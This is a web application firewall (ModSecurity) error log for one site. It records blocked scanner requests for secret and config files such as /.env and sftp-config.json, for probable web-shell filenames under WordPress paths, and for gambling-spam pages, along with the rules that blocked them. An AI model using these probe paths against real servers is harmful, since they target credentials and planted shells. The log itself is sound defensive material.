[Thu Mar 05 22:00:42.229984 2026] [:error] [pid 41459:tid 41491] [client 3.216.79.81:53214] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/airflow.cfg"] [unique_id "aamMiudFBZEnZ3pzxrVsiAAAAVE"]
[Thu Mar 05 22:00:42.324170 2026] [:error] [pid 41459:tid 41479] [client 3.216.79.81:53218] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/ansible.cfg"] [unique_id "aamMiudFBZEnZ3pzxrVsiQAAAUU"]
[Thu Mar 05 22:40:28.091823 2026] [:error] [pid 8151:tid 8239] [client 157.15.40.88:50897] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aamV3JO3dLEidct1HvCpKAAAAZM"]
[Thu Mar 05 22:40:28.345021 2026] [:error] [pid 62173:tid 62259] [client 157.15.40.88:50978] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aamV3Gj_GWbFb-1ncGmBFwAAAAc"]
[Thu Mar 05 22:40:28.610298 2026] [:error] [pid 41459:tid 41489] [client 157.15.40.88:51063] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aamV3OdFBZEnZ3pzxrWEVAAAAU8"]
[Thu Mar 05 22:40:28.880670 2026] [:error] [pid 53350:tid 53391] [client 157.15.40.88:51151] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aamV3KO0Baxc5WFYeP2FaAAAAQ4"]
[Thu Mar 05 22:40:29.200046 2026] [:error] [pid 41459:tid 41491] [client 157.15.40.88:51246] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aamV3edFBZEnZ3pzxrWEcQAAAVE"]
[Thu Mar 05 22:40:29.473100 2026] [:error] [pid 41459:tid 41482] [client 157.15.40.88:51342] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aamV3edFBZEnZ3pzxrWEpgAAAUg"]
[Thu Mar 05 22:40:29.747078 2026] [:error] [pid 62173:tid 62269] [client 157.15.40.88:51431] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aamV3Wj_GWbFb-1ncGmBOgAAABA"]
[Thu Mar 05 22:40:30.006934 2026] [:error] [pid 53350:tid 53401] [client 157.15.40.88:51523] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aamV3qO0Baxc5WFYeP2FpAAAARg"]
[Thu Mar 05 22:40:30.289018 2026] [:error] [pid 62173:tid 62263] [client 157.15.40.88:51611] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aamV3mj_GWbFb-1ncGmBPgAAAAs"]
[Thu Mar 05 23:01:15.520859 2026] [:error] [pid 41459:tid 41486] [client 153.92.11.95:42790] [client 153.92.11.95] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aamau-dFBZEnZ3pzxrWO_gAAAUw"]
[Fri Mar 06 00:14:13.146163 2026] [:error] [pid 8151:tid 8236] [client 203.2.64.59:50513] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aamr1ZO3dLEidct1HvDsMwAAAZA"]
[Fri Mar 06 00:43:39.774705 2026] [:error] [pid 47665:tid 48016] [client 103.77.107.222:59070] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aamyu3vwcWrOi3qzRcdysQAAAME"]
[Fri Mar 06 00:43:40.004005 2026] [:error] [pid 48372:tid 48413] [client 103.77.107.222:59194] [client 103.77.107.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aamyvEWaQyQyfhXPRrYFiQAAAVg"]
[Fri Mar 06 03:55:27.487887 2026] [:error] [pid 36581:tid 36612] [client 3.216.79.81:49066] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/awstats.conf"] [unique_id "aanfr8Af2j5z1OTQgFCnAgAAAMo"]
[Fri Mar 06 10:41:34.257012 2026] [:error] [pid 8945:tid 8972] [client 101.33.80.42:59828] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aao-3gttiLGNg13nMzJ_NQAAAMU"]
[Fri Mar 06 11:51:48.649298 2026] [:error] [pid 8656:tid 8833] [client 49.204.165.171:53409] [client 49.204.165.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.165.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aapPVJPxTG9Ff1TtP6MCiAAAAJc"]
[Fri Mar 06 13:40:07.487316 2026] [:error] [pid 8656:tid 8816] [client 51.68.34.57:60314] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aapot5PxTG9Ff1TtP6NmlgAAAIY"]
[Fri Mar 06 13:40:09.667598 2026] [:error] [pid 16140:tid 16145] [client 51.68.34.57:35012] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aapouZZVpEeGhAeSpv0imQAAAQM"]
[Fri Mar 06 13:40:11.706824 2026] [:error] [pid 8656:tid 8828] [client 51.68.34.57:38770] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aapou5PxTG9Ff1TtP6NmpwAAAJI"]
[Fri Mar 06 13:40:13.718448 2026] [:error] [pid 8656:tid 8831] [client 51.68.34.57:38778] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aapovZPxTG9Ff1TtP6NmsAAAAJU"]
[Fri Mar 06 13:40:15.558285 2026] [:error] [pid 8945:tid 8970] [client 51.68.34.57:38794] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aapovwttiLGNg13nMzLjewAAAMM"]
[Fri Mar 06 13:40:17.631618 2026] [:error] [pid 8656:tid 8811] [client 51.68.34.57:38810] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aapowZPxTG9Ff1TtP6NmtgAAAIE"]
[Fri Mar 06 13:40:19.941857 2026] [:error] [pid 8945:tid 8968] [client 51.68.34.57:38826] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aapowwttiLGNg13nMzLjhQAAAME"]
[Fri Mar 06 13:40:21.917460 2026] [:error] [pid 16140:tid 16151] [client 51.68.34.57:58290] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aapoxZZVpEeGhAeSpv0iqgAAAQk"]
[Fri Mar 06 13:40:24.094533 2026] [:error] [pid 8656:tid 8821] [client 51.68.34.57:58302] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aapoyJPxTG9Ff1TtP6NmzgAAAIs"]
[Fri Mar 06 13:40:26.291261 2026] [:error] [pid 8648:tid 8751] [client 51.68.34.57:58318] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aapoykhAk6X-gF6akMR1oQAAAAQ"]
[Fri Mar 06 13:40:28.477763 2026] [:error] [pid 16140:tid 16144] [client 51.68.34.57:58328] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aapozJZVpEeGhAeSpv0isgAAAQI"]
[Fri Mar 06 13:40:30.535991 2026] [:error] [pid 8945:tid 8987] [client 51.68.34.57:58342] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aapozgttiLGNg13nMzLjoAAAANQ"]
[Fri Mar 06 13:40:32.525031 2026] [:error] [pid 16140:tid 16144] [client 51.68.34.57:57366] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aapo0JZVpEeGhAeSpv0i2AAAAQI"]
[Fri Mar 06 13:40:34.396221 2026] [:error] [pid 8945:tid 8979] [client 51.68.34.57:57368] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aapo0gttiLGNg13nMzLjxgAAAMw"]
[Fri Mar 06 13:40:36.330199 2026] [:error] [pid 44628:tid 44650] [client 51.68.34.57:57372] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aapo1IZtiq7T54_AYvLTJwAAAUU"]
[Fri Mar 06 13:40:38.269138 2026] [:error] [pid 8945:tid 8979] [client 51.68.34.57:57374] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aapo1gttiLGNg13nMzLj0QAAAMw"]
[Fri Mar 06 13:40:40.302614 2026] [:error] [pid 8656:tid 8822] [client 51.68.34.57:57390] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aapo2JPxTG9Ff1TtP6NnTAAAAIw"]
[Fri Mar 06 13:40:42.340494 2026] [:error] [pid 8656:tid 8812] [client 51.68.34.57:49580] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aapo2pPxTG9Ff1TtP6NnWAAAAII"]
[Fri Mar 06 13:40:44.266843 2026] [:error] [pid 8945:tid 8968] [client 51.68.34.57:49590] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aapo3AttiLGNg13nMzLj6AAAAME"]
[Fri Mar 06 13:40:46.578793 2026] [:error] [pid 16140:tid 16143] [client 51.68.34.57:49606] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aapo3pZVpEeGhAeSpv0i7wAAAQE"]
[Fri Mar 06 13:40:48.673789 2026] [:error] [pid 8945:tid 8979] [client 51.68.34.57:49610] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aapo4AttiLGNg13nMzLj9AAAAMw"]
[Fri Mar 06 13:40:50.621030 2026] [:error] [pid 8945:tid 8968] [client 51.68.34.57:49612] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aapo4gttiLGNg13nMzLj_AAAAME"]
[Fri Mar 06 13:40:52.503443 2026] [:error] [pid 8656:tid 8830] [client 51.68.34.57:52216] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aapo5JPxTG9Ff1TtP6NndgAAAJQ"]
[Fri Mar 06 13:40:54.533661 2026] [:error] [pid 8945:tid 8983] [client 51.68.34.57:52218] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aapo5gttiLGNg13nMzLkIAAAANA"]
[Fri Mar 06 13:40:56.526726 2026] [:error] [pid 8945:tid 8978] [client 51.68.34.57:52228] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aapo6AttiLGNg13nMzLkJAAAAMs"]
[Fri Mar 06 13:40:58.469201 2026] [:error] [pid 8656:tid 8818] [client 51.68.34.57:52234] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aapo6pPxTG9Ff1TtP6NnlQAAAIg"]
[Fri Mar 06 13:41:00.557793 2026] [:error] [pid 16140:tid 16145] [client 51.68.34.57:52248] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aapo7JZVpEeGhAeSpv0jAwAAAQM"]
[Fri Mar 06 13:41:02.634206 2026] [:error] [pid 8656:tid 8825] [client 51.68.34.57:33584] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aapo7pPxTG9Ff1TtP6NnoQAAAI8"]
[Fri Mar 06 15:00:37.990629 2026] [:error] [pid 8656:tid 8826] [client 51.75.119.154:54856] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aap7lZPxTG9Ff1TtP6OOvgAAAJA"]
[Fri Mar 06 15:00:43.392367 2026] [:error] [pid 16140:tid 16163] [client 51.75.119.154:54858] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aap7m5ZVpEeGhAeSpv1FngAAARU"]
[Fri Mar 06 15:00:48.092761 2026] [:error] [pid 59239:tid 59269] [client 51.75.119.154:55610] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aap7oLG1EpnE909fvGdCQAAAA8A"]
[Fri Mar 06 15:00:52.266136 2026] [:error] [pid 59040:tid 59134] [client 51.75.119.154:55618] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aap7pLhQWeDH4WbmEIh8oAAAAxM"]
[Fri Mar 06 15:00:57.327995 2026] [:error] [pid 59237:tid 59249] [client 51.75.119.154:59866] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aap7qeqfMSBs0nxOTxF4rwAAA4c"]
[Fri Mar 06 15:01:02.950721 2026] [:error] [pid 59198:tid 59218] [client 51.75.119.154:59878] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aap7rtFYTNmfCEavFrITUAAAA1E"]
[Fri Mar 06 15:01:07.983369 2026] [:error] [pid 16140:tid 16156] [client 51.75.119.154:50820] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aap7s5ZVpEeGhAeSpv1FygAAAQ4"]
[Fri Mar 06 15:01:12.970614 2026] [:error] [pid 59198:tid 59218] [client 51.75.119.154:50830] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aap7uNFYTNmfCEavFrITVwAAA1E"]
